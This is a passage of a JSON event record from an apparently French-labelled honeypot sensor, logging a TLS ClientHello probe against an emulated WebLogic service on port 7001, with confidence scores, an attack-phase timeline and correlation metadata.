"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffdmW>\u0019-RG\ufffds2\ufffd<\ufffdo\f\ufffdU\ufffd\ufffd\ufffd\u0007\ufffd\ufffd\ufffd\u000f\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\u001e\"\ufffd\ufffd\u0743lH!\ufffd\u0018`&<\u0000\u00052_\ufffd\u0017\ubcf5\ufffd:\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffdmW>-RG\ufffds2\ufffd<\ufffdo\ufffdU\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdO\ufffd_\r [\u05a9\ufffd\ufffd\ufffd|\"\ufffd\ufffd\u0743lH!\ufffd`&<2_\ufffd\ubcf5\ufffd:>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}